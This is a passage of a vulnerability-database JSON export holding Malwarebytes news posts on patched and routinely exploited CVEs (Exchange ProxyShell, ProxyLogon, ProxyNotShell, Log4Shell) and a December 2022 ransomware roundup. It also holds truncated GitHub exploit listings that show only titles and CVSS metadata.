[CVE-2022-41033](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-41033>), a vulnerability with a [CVSS score](<https://www.malwarebytes.com/blog/news/2020/05/how-cvss-works-characterizing-and-scoring-vulnerabilities>) of 7.8 out of 10. This is described as a 'Windows COM+ Event System Service Elevation of Privileges (EoP)' vulnerability, which gives an attacker the potential to obtain SYSTEM privileges after successful exploitation.\n\nThis type of vulnerability usually comes into play once an attacker has gained an initial foothold on a system. They can then use this vulnerability to gain more permissions and expand their access to the compromised system.\n\nAnother publicly disclosed vulnerability that gets a fix is [CVE-2022-41043](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-41043>), a Microsoft Office Information Disclosure vulnerability. Affected products are Microsoft Office LTSC for Mac 2021 and Microsoft Office 2019 for Mac. Microsoft says attackers could use this vulnerability to gain access to users' authentication tokens.\n\n## What wasn't fixed\n\nThe Exchange Server \"ProxyNotShell\" vulnerabilities, [CVE-2022-41040](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-41040>) and [CVE-2022-41082](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-41082>), were not fixed in this round of updates. One is a Server-Side Request Forgery (SSRF) vulnerability and the other a remote code execution (RCE) vulnerability that exists when PowerShell is accessible to the attacker. The two can be chained together into an attack.\n\nMicrosoft says it will release updates for these vulnerabilities when they are ready. In the meantime, you should read [this blog post](<https://techcommunity.microsoft.com/t5/exchange-team-blog/customer-guidance-for-reported-zero-day-vulnerabilities-in/ba-p/3641494>) to learn about mitigations for those vulnerabilities.\n\n## Other vendors\n\nOther vendors have synchronized their periodic updates with Microsoft. Here are few major ones:\n\n * Adobe released [security updates](<Adobe%20also%20released%20security%20updates%20to%20fix%2029%20vulnerabilities>) to fix 29 vulnerabilities in several products.\n * Apple published [iOS 16.0.3](<https://support.apple.com/en-us/HT213480>).\n * Fortinet released important [security updates](<https://www.bleepingcomputer.com/news/security/fortinet-warns-admins-to-patch-critical-auth-bypass-bug-immediately/>).\n * Google patched several vulnerabilities for [Android](<https://www.malwarebytes.com/blog/news/2022/10/vulnerabilities-in-google-android-could-allow-for-arbitrary-code-execution>).\n * Samsung has started rolling out October 2022 [security updates](<https://androidstories.com/2022/10/12/samsung-2022-security-update-rolling-out-for-these-galaxy-phones/>) for some of its devices.\n * SAP has released [updates](<https://dam.sap.com/mac/app/e/pdf/preview/embed/ucQrx6G?ltr=a&rc=10>) for several of its products.\n * VMware published security advisory [VMSA-2022-0025](<https://www.vmware.com/security/advisories/VMSA-2022-0025.html>).\n * Xiaomi released the October 2022 [Security Patch Update tracker](<https://xiaomiui.net/xiaomi-october-2022-security-patch-update-tracker-36308/>).\n\nThat should be enough to keep you busy, et patching!", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-10-12T17:45:00", "type": "malwarebytes", "title": "Update now! October patch Tuesday fixes actively used zero-day...but not the one you expected", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2022-41033", "CVE-2022-41040", "CVE-2022-41043", "CVE-2022-41082"], "modified": "2022-10-12T17:45:00", "id": "MALWAREBYTES:A165959E3A462AF8315F01F1020BBF53", "href": "https://www.malwarebytes.com/blog/news/2022/10/update-now-october-patch-tuesday-fixes-actively-used-zero-day", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2023-08-12T00:28:46", "description": "The Cybersecurity and Infrastructure Security Agency (CISA), National Security Agency (NSA), Federal Bureau of Investigation (FBI), and international partners have released a joint Cybersecurity Advisory (CSA) called the [2022 Top Routinely Exploited Vulnerabilities](<https://media.defense.gov/2023/Aug/03/2003273618/-1/-1/0/JOINT-CSA-2022-TOP-ROUTINELY-EXPLOITED-VULNERABILITIES.PDF>).\n\nWe went over the list and it felt like a bad trip down memory lane. If you adhere to the expression \"those who ignore history are doomed to repeat it\" then you may consider the list as a valuable resource that you can derive lessons from. Unfortunately as George Bernard Shaw said:\n\n> "We learn from history that we learn nothing from history."\n\nBut since that's a self-contradicting expression, let's assume there are lessons to be learned.\n\n## Last year's top vulnerabilities\n\nFirst let me show you the bad memories. The Common Vulnerabilities and Exposures (CVE) database lists publicly disclosed computer security flaws. We will use the CVE codes to uniquely identify the covered vulnerabilities.\n\n * [CVE-2021-40539](<https://vulners.com/cve/CVE-2021-40539>) is a REST API authentication bypass vulnerability in [ManageEngine's single sign-on (SSO) solution](<https://www.malwarebytes.com/blog/exploits-and-vulnerabilities/2021/09/fbi-and-cisa-warn-of-apt-groups-exploiting-adselfservice-plus/>) which results in remote code execution (RCE). When word of this vulnerability came out it was already clear that it was being exploited in the wild. Noteworthy is that this vulnerability also made it into the [top 5 routinely exploited vulnerabilities of 2021](<https://www.malwarebytes.com/blog/news/2022/04/the-top-5-most-routinely-exploited-vulnerabilities-of-2021>).\n * [CVE-2021-44228](<https://vulners.com/cve/CVE-2021-44228>), aka [Log4Shell](<https://www.malwarebytes.com/blog/news/2021/12/log4j-zero-day-log4shell-arrives-just-in-time-to-ruin-your-weekend>), is a vulnerability in Apache's Log4j library, an open-source logging framework incorporated into thousands of other products. Malicious cyber actors began exploiting the vulnerability after it was publicly disclosed in December 2021, and continued to show high interest throughout the first half of 2022.\n * [CVE-2018-13379](<https://vulners.com/cve/CVE-2018-13379>) is a vulnerability affecting Fortinet SSL VPNs, which was also routinely exploited in 2020 and 2021.\n * [ProxyShell](<https://www.malwarebytes.com/blog/news/2021/08/patch-now-microsoft-exchange-attacks-target-proxyshell-vulnerabilities>) is a combination of three vulnerabilities in Microsoft Exchange Server ([CVE-2021-34473](<https://vulners.com/cve/CVE-2021-34473>), [CVE-2021-31207](<https://vulners.com/cve/CVE-2021-31207>), and [CVE-2021-34523](<https://vulners.com/cve/CVE-2021-34523>)) that can be chained together to allow a remote attacker to break in, take control, and then do bad things on an unpatched server. Proxyshell also made it into the top 5 routinely exploited vulnerabilities of 2021.\n * [CVE-2021-26084](<https://vulners.com/cve/CVE-2021-26084>) is a vulnerability affecting Atlassian Confluence Server and Data Center which could enable an unauthenticated cyber actor to execute arbitrary code on vulnerable systems. This vulnerability quickly became one of the most routinely exploited vulnerabilities after a proof-of-concept (PoC) was released within a week of its disclosure. Attempted mass exploitation of this vulnerability was observed in September 2021 and also made it into the top 5 routinely exploited vulnerabilities of 2021.\n\nLooking at the above, it looks like Shaw was at least partly right. We are not learning from history. It also indicates that we should be able to predict some of the vulnerabilities that will show up in next year's list. Let's take a stab at that. So we're looking for easy to overlook and/or hard to patch vulnerabilities in the 2022 list that we haven't already covered above.\n\n## This year's top vulnerabilities?\n\nThese are the ones that I think will make it to the top 10 next year, maybe together with the ones that have already been around for years.\n\n * [CVE-2022-22954](<https://vulners.com/cve/CVE-2022-22954>), [CVE-2022-22960](<https://vulners.com/cve/CVE-2022-22960>) are two vulnerabilities that can be chained to allow Remote Code Execurion (RCE), privilege escalation, and authentication bypass in VMware Workspace ONE Access, Identity Manager, and other VMware products. Exploitation of these [VMware vulnerabilities](<https://www.malwarebytes.com/blog/news/2022/05/vmware-vulnerabilities-are-actively-being-exploited-cisa-warns>) began in early 2022 and attempts continued throughout the remainder of the year.\n * [CVE-2022-26134](<https://vulners.com/cve/CVE-2022-26134>) is a critical RCE vulnerability that affects Atlassian Confluence and Data Center. The vulnerability, which was likely initially exploited as a zero-day before public disclosure in June 2022, is related to an older Confluence vulnerability (see CVE-2021-26084 above), which cyber actors also exploited in 2022.\n * [CVE-2022-1388](<https://vulners.com/cve/CVE-2022-1388>) is a vulnerability in the F5 [BIG IP platform](<https://www.malwarebytes.com/blog/news/2022/05/update-now-exploits-are-active-for-f5-big-ip-vulnerability>) that allows attackers to bypass authentication on internet-exposed iControl interfaces, potentially executing arbitrary commands, creating or deleting files, or disabling services.\n * [CVE-2022-30190](<https://vulners.com/cve/CVE-2022-30190>), aka [Follina](<https://www.malwarebytes.com/blog/news/2022/06/faq-mitigating-microsoft-offices-follina-zero-day>), is a Microsoft Windows Support Diagnostic Tool RCE vulnerability. An attacker can send you a malicious Office document that will compromise your machine with malware when you open it.\n\nSo I was hoping we can strike a deal. I'll check next year how well this prediction does and you all patch these vulnerabilities real quick, so I can write about some new ones next year.\n\n* * *\n\n**We don't just report on vulnerabilities--we identify them, and prioritize action.**\n\nCybersecurity risks should never spread beyond a headline. Keep vulnerabilities in tow by using [Malwarebytes Vulnerability and Patch Management](<https://www.malwarebytes.com/business/vulnerability-patch-management>).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2023-08-07T18:30:00", "type": "malwarebytes", "title": "2022's most routinely exploited vulnerabilities\u2014history repeats", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2021-26084", "CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523", "CVE-2021-40539", "CVE-2021-44228", "CVE-2022-1388", "CVE-2022-22954", "CVE-2022-22960", "CVE-2022-26134", "CVE-2022-30190"], "modified": "2023-08-07T18:30:00", "id": "MALWAREBYTES:8922C922FFDE8B91C7154D8C990B62EF", "href": "https://www.malwarebytes.com/blog/news/2023/08/the-2022-top-routinely-exploited-vulnerabilities-history-repeats", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-04-29T18:23:40", "description": "A joint Cybersecurity Advisory, coauthored by cybersecurity authorities of the United States (CISA, NSA, and FBI), Australia (ACSC), Canada (CCCS), New Zealand (NZ NCSC), and the United Kingdom (NCSC-UK) has detailed the top 15 Common Vulnerabilities and Exposures (CVEs) routinely exploited by malicious cyber actors in 2021, as well as other CVEs frequently exploited.\n\nPublicly disclosed computer security flaws are listed in the Common Vulnerabilities and Exposures (CVE) database. Its goal is to make it easier to share data across separate vulnerability capabilities (tools, databases, and services). These are the CVEs that made it into the top 10.\n\n## 1\\. Log4Shell\n\n[CVE-2021-44228](<https://nvd.nist.gov/vuln/detail/CVE-2021-44228>), commonly referred to as [Log4Shell](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/12/log4j-zero-day-log4shell-arrives-just-in-time-to-ruin-your-weekend/>) or Logjam. This was a software flaw in the Apache Log4j logging utility. A logger is a piece of software that logs every event that happens in a computer system. The records it produces are useful for IT and security folks to trace errors or check any abnormal behavior within a system.\n\nWhen Log4Shell emerged in December 2021, what caught many by surprise was the enormous number of applications and web services, including those offered by Twitter, Apple, Google, Amazon, Steam, and Microsoft, among others, that were relying on Log4j, many of which inherited the vulnerability.\n\nThis made for an exceptionally broad attack surface. Combine that with an incredibly easy to use exploit and there should be no surprise that this vulnerability made it to the top of the list.\n\nThe Cybersecurity and Infrastructure Security Agency (CISA) has launched an open source scanner to find applications that are vulnerable to the Log4j vulnerabilities listed as CVE-2021-44228 and CVE-2021-45046. The [CISA Log4j scanner](<https://github.com/cisagov/log4j-scanner>) is based on other open source tools and supports scanning lists of URLs, several fuzzing options, DNS callback, and payloads to circumvent web-application firewalls.\n\n## 2\\. CVE-2021-40539\n\n[CVE-2021-40539](<https://nvd.nist.gov/vuln/detail/CVE-2021-40539>) is a REST API authentication bypass [vulnerability in ManageEngine\u2019s single sign-on (SSO) solution](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/09/fbi-and-cisa-warn-of-apt-groups-exploiting-adselfservice-plus/>) with resultant remote code execution (RCE) that exists in Zoho ManageEngine ADSelfService Plus version 6113 and prior. When word of this vulnerability came out it was already clear that it was being exploited in the wild. Zoho remarked that it was noticing indications of this vulnerability being exploited. Other researchers chimed in saying the attacks had thus far been highly targeted and limited, and possibly the work of a single threat actor. It was clear from the start that [APT](<https://blog.malwarebytes.com/glossary/advanced-persistent-threat-apt/>) threat-actors were likely among those exploiting the vulnerability.\n\nThe vulnerability allows an attacker to gain unauthorized access to the product through REST API endpoints by sending a specially crafted request. This allows attackers to carry out subsequent attacks resulting in RCE.\n\nFor those that have never heard of this software, it\u2019s a self-service password management and single sign-on (SSO) solution for Active Directory (AD) and cloud apps. Which means that any attacker that is able to exploit this vulnerability immediately has access to some of the most critical parts of a corporate network. A patch for this vulnerability was made available on September 7, 2021. Users were advised to update to ADSelfService Plus build 6114. The FBI, CISA, and CGCYBER also strongly urged organizations to make sure that ADSelfService Plus was not directly accessible from the Internet.\n\nThe [ManageEngine site](<https://www.manageengine.com/products/self-service-password/kb/how-to-fix-authentication-bypass-vulnerability-in-REST-API.html>) has specific instructions on how to identify and update vulnerable installations.\n\n## 3\\. ProxyShell\n\nThird on the list are 3 vulnerabilities that we commonly grouped together and referred to as [ProxyShell](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/08/patch-now-microsoft-exchange-attacks-target-proxyshell-vulnerabilities/>). [CVE-2021-34523](<https://nvd.nist.gov/vuln/detail/CVE-2021-34523>), [CVE-2021-34473](<https://nvd.nist.gov/vuln/detail/CVE-2021-34473>), and [CVE-2021-31207](<https://nvd.nist.gov/vuln/detail/CVE-2021-31207>).\n\nThe danger lies in the fact that these three vulnerabilities can be chained together to allow a remote attacker to run code on an unpatched Microsoft Exchange server. Attackers use them as follows:\n\n * **Get in** with CVE-2021-31207, a Microsoft Exchange Server security feature bypass vulnerability. The vulnerability allows a remote user to bypass the authentication process.\n * **Take control **with CVE-2021-34523, a Microsoft Exchange Server elevation of privilege (EoP) vulnerability. The vulnerability allows a user to raise their permissions.\n * **Do bad things** with CVE-2021-34473, a Microsoft Exchange Server remote code execution (RCE) vulnerability. The vulnerability allows an authenticated user to execute arbitrary code in the context of SYSTEM and write arbitrary files.\n\nThe vulnerabilities were found in Microsoft Exchange Server, which has a large userbase and which is usually set up as an Internet-facing instance. Plus, many publications have provided proof-of-concept (PoC) methodologies which anyone can copy and use.\n\nMicrosoft\u2019s Security Update from May 2021 remediates all three ProxyShell vulnerabilities.\n\n## 4\\. ProxyLogon\n\nAfter the ProxyShell entries we go straight to four vulnerabilities that are grouped under a similar name\u2014[ProxyLogon](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/03/proxylogon-poc-becomes-a-game-of-whack-a-mole/>)\u2014for similar reasons. [CVE-2021-26855](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26855>), [CVE-2021-26857](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26857>), [CVE-2021-2685](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26858>), and [CVE-2021-27065](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-27065>) all share the same description\u2014"This vulnerability is part of an attack chain. The initial attack requires the ability to make an untrusted connection to Exchange server port 443."\n\nWhile the CVE description is the same for the 4 CVE\u2019s we have learned that CVE-2021-26855 is a server-side request forgery (SSRF) vulnerability in Exchange that was used to steal mailbox content. The RCE vulnerability CVE-2021-26857 was used to run code under the System account. The other two zero-day flaws\u2014CVE-2021-26858 and CVE-2021-27065\u2014would allow an attacker to write a file to any part of the server.\n\nTogether these four vulnerabilities form an attack chain that only requires the attacker to find the server running Exchange, and the account from which they want to extract email. After exploiting these vulnerabilities to gain initial access, threat actors deployed web shells on the compromised servers to gain persistence and make more changes. Web shells can allow attackers to steal data and perform additional malicious actions.\n\nProxyLogon started out as a limited and targeted attack method attributed to a group called [Hafnium](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/03/patch-now-exchange-servers-attacked-by-hafnium-zero-days/>). Unfortunately it went from limited and targeted attacks to a full-size panic in no time. Attackers started using the Exchange bugs to access vulnerable servers before establishing web shells to gain persistence and steal information.\n\nMicrosoft has released a one-click mitigation tool for Exchange Server deployments. The Microsoft Exchange On-Premises Mitigation Tool will help customers who do not have dedicated security or IT teams to apply these security updates. Details, a [download link](<https://aka.ms/eomt>), user instructions, and more information can be found in the [Microsoft Security Response Center](<https://msrc-blog.microsoft.com/2021/03/15/one-click-microsoft-exchange-on-premises-mitigation-tool-march-2021/>).\n\n## 5\\. CVE-2021-26084\n\n[CVE-2021-26084](<https://nvd.nist.gov/vuln/detail/CVE-2021-26084>) is an Object-Graph Navigation Language (OGNL) injection vulnerability that exists in some versions of [Confluence Server and Data Center](<https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html>) that can allow an unauthenticated attacker to execute arbitrary code on a Confluence Server or Data Center instance. This was a zero-day vulnerability that was only patched after it was found to be actively exploited in the wild. An attacker could exploit the vulnerability by simply sending a specially crafted HTTP request containing a malicious parameter to a vulnerable install.\n\nShortly after the vulnerability was disclosed and a patch came out, researchers noticed massive scanning activity for vulnerable instances and crypto-miners started to use the vulnerability to run their code on unpatched servers.\n\nOn the [Confluence Support website](<https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html>) you can find a list of affected versions, instructions to upgrade, and a workaround for those that are unable to upgrade.\n\n## Lessons learned\n\nWhat does this list tell us to look out for in 2022?\n\nWell, first off, if you haven\u2019t patched one of the above we would urgently advise you to do so. And it wouldn\u2019t hurt to continue working down the [list](<https://www.cisa.gov/uscert/ncas/alerts/aa22-117a>) provided by CISA.\n\nSecond, you may have noticed a pattern in what made these vulnerabilities so popular to exploit:\n\n * **A large attack surface**. Popular and widely used software makes for a larger number of potential victims. The money is in the numbers.\n * **Internet-facing instances**. Remember, your Internet-connected software shares the Internet with every basement-dwelling criminal hacker in the world.\n * **Easy exploitability**. When vulnerabilities are easy to exploit, and PoCs are publicly available and easy to deploy, the number of potential threat actors goes up.\n\nSo, if you notice or hear about a vulnerability that meets these "requirements" move it to the top of your "to-patch" list.\n\nStay safe, everyone!\n\nThe post [The top 5 most routinely exploited vulnerabilities of 2021](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2022/04/the-top-5-most-routinely-exploited-vulnerabilities-of-2021/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-04-29T16:28:20", "type": "malwarebytes", "title": "The top 5 most routinely exploited vulnerabilities of 2021", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26084", "CVE-2021-2685", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065", "CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523", "CVE-2021-40539", "CVE-2021-44228", "CVE-2021-45046"], "modified": "2022-04-29T16:28:20", "id": "MALWAREBYTES:B8C767042833344389F6158273089954", "href": "https://blog.malwarebytes.com/exploits-and-vulnerabilities/2022/04/the-top-5-most-routinely-exploited-vulnerabilities-of-2021/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-02-03T00:13:33", "description": "_Malwarebytes Threat Intelligence builds a monthly picture of ransomware activity by monitoring the information published by ransomware gangs on their dark web leak sites. This information represents victims who were successfully attacked but opted not to pay a ransom._\n\nLockbit has rebounded from its unusual fall from grace in November, snatching the title of the month's worst ransomware, [back from Royal](<https://www.malwarebytes.com/blog/threat-intelligence/2023/01/ransomware-in-november-2022>). Royal has meanwhile still shown itself as a force to be reckoned with, ranking third in number of attacks for December. \n\n Known ransomware attacks by gang in December 2022\n\nAttacks by Royal may be down 35 percent from their high of 49 in November, but at the same time, there's good reason to suspect that their attacks are becoming more targeted. \n\nOn December 07, 2022, the Health Sector Cybersecurity Coordination Center (HC3)--an arm of the US Department of Health and Human Services (HHS)--[released a threat brief ](<https://www.hhs.gov/sites/default/files/royal-ransomware-analyst-note.pdf>)about Royal after observing the group disproportionately targeting the healthcare industry. Their crowning attack for December came late in the month when they breached [telecommunications company Intrado](<https://www.bleepingcomputer.com/news/security/royal-ransomware-claims-attack-on-intrado-telecom-provider/>).\n\n Known ransomware attacks by industry sector in December 2022  Known ransomware attacks by country in December 2022\n\nIn terms of progress, the two newcomers that we introduced last month, Play and Project Relic, have vastly different stories to tell. \n\nProject Relic has fallen off the map while Play has turned up the jets--we recorded a whopping 136 percent increase in attacks from the gang compared to November. Since our last update Play has been seen leveraging a never-before-seen exploit chain, which might be responsible for their sharp uptick in attacks. The new Microsoft Exchange attack, dubbed ['OWASSRF'](<https://duo.com/decipher/play-ransomware-group-using-new-proxynotshell-exploit>), chains exploits for [CVE-2022-41082](<https://nvd.nist.gov/vuln/detail/cve-2022-41082>) and [CVE-2022-41080](<https://nvd.nist.gov/vuln/detail/CVE-2022-41080>) to gain initial access to corporate networks. This was the technique behind a ransomware attack on [cloud computing service provider Rackspace](<https://www.malwarebytes.com/blog/news/2022/12/rackspace-confirms-it-suffered-a-ransomware-attack>) in early December, which Play later claimed responsibility for. \n\nPlay's surge in activity, however, was hardly an anomaly for December. Month-on-month we saw hefty percentage-point increases in attacks across the board.\n\nALPHV (aka BlackCat), for example, is a ransomware gang that has consistently topped the charts in our ransomware reviews; the number of their attacks in December (33), however, is not only a 70 percent increase from November but also the highest it's been all 2022. We also saw 25 percent and 116 percent increases from BianLian and BlackBasta, respectively. These upticks are perhaps to be expected, [given that attackers famously love the holiday](<https://www.malwarebytes.com/blog/news/2022/11/how-to-stay-secure-from-ransomware-attacks-this-labor-day-weekend>) seasons due to the reduction in security staff on deck. Only time will tell if ransomware gangs will sustain their heightened levels of activity into the New Year--or if the increase is indeed simply a gift-wrapped aberration.\n\n## Lockbit\u2026 apologizes?\n\nLockbit in December regained the throne as the biggest ransomware gang by attack volume, reversing a three-month downward trend in number of victims.\n\nThe prolific ransomware group claimed on December 12 to have stolen up to 75GB of confidential data from [California's Department of Finance](<https://www.bleepingcomputer.com/news/security/lockbit-claims-attack-on-californias-department-of-finance/>), or over 246,000 files in more than 114,000 folders. Not even [SickKids](<https://www.bleepingcomputer.com/news/security/ransomware-gang-apologizes-gives-sickkids-hospital-free-decryptor/>) (a hospital for sick children) was spared from LockBit's avarice in December. A ransomware attack using LockBit impacted the hospital's internal and corporate systems, hospital phone lines, and website.\n\nWhile we're not surprised to [see a gang stoop to such lows](<https://www.malwarebytes.com/blog/business/2020/10/healthcare-security-death-by-ransomware>), we don't find many issuing apologies after the fact. Two days later LockBit apologized for the attack, which it blamed on a rogue affiliate, and released a decryptor for free. \n\nLockBit's operation's policy states \"It is forbidden to encrypt institutions where damage to the files could lead to death, such as cardiology centers, neurosurgical departments, maternity hospitals and the like, that is, those institutions where surgical procedures on high-tech equipment using computers may be performed.\"\n\nOf course the apology doesn't turn LockBit in to some kind of Robin Hood. Its business model is to inflict so much harm that people are willing to pay a fortune to make it stop.\n\n## New ransomware gangs\n\n### Unsafe\n\nIn December, we saw a group emerge that makes its cash by riding on the coattails of real ransomware gangs. \n\nThe new player, Unsafe, seems to recycle leaks from other ransomware groups. Unsafe provides security blogs for cybercriminals to post victims and leaked data as well as consultation services for a fee. It currently lists eight victims. \n\n\n\n### Endurance\n\nWe call them ransomware _gangs_ for a reason: These are groups of cybercriminals working together in a hierarchical organization. Rarely do we ever see lone wolf attacks, and if we do it's even more unusual for them to make as big of a splash in so short of a time as Endurance has.\n\nThis cybercriminal, known on dark web forums as IntelBroker, tends to make individual posts about data on sale.\n\nIn less than 30 days since its inception, Endurance appears to have successfully infiltrated some big corporations and breached several US government entities. After posting some high-value victims, Endurance has removed them from its dark web site, which is \"undergoing development\".\n\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2023-02-01T17:15:00", "type": "malwarebytes", "title": "Ransomware in December 2022", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2022-41080", "CVE-2022-41082"], "modified": "2023-02-01T17:15:00", "id": "MALWAREBYTES:44E8550360FE68D55DE72F8F97C79C77", "href": "https://www.malwarebytes.com/blog/threat-intelligence/2023/02/ransomware-in-december-2022", "cvss": {"score": 0.0, "vector": "NONE"}}], "githubexploit": [{"lastseen": "2022-03-12T14:43:07", "description": "# ProxyShell_POC\nPOC for ...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-10-02T07:29:24", "type": "githubexploit", "title": "Exploit for Vulnerability in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": 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"accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-41040"], "modified": "2022-11-09T14:24:07", "id": "D52F3F41-2E8A-5FC2-AA35-BC6707158F1A", "href": "", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2023-08-11T23:43:05", "description": "UPDATED VERSION ALLOWS FOR HTTPS CHECK AS WELL \n\n# exchange-vuln...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-11-14T08:31:16", "type": "githubexploit", "title": "Exploit for Deserialization of Untrusted Data in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-41082"], "modified": "2023-02-17T00:50:04", "id": "32D96718-99E1-55BD-86E8-30A9B59E40D1", "href": "", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2023-09-17T01:26:27", "description": "# CVE-2022-41040-POC\nCVE-2022-41040 - Server Side Request Forger...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": 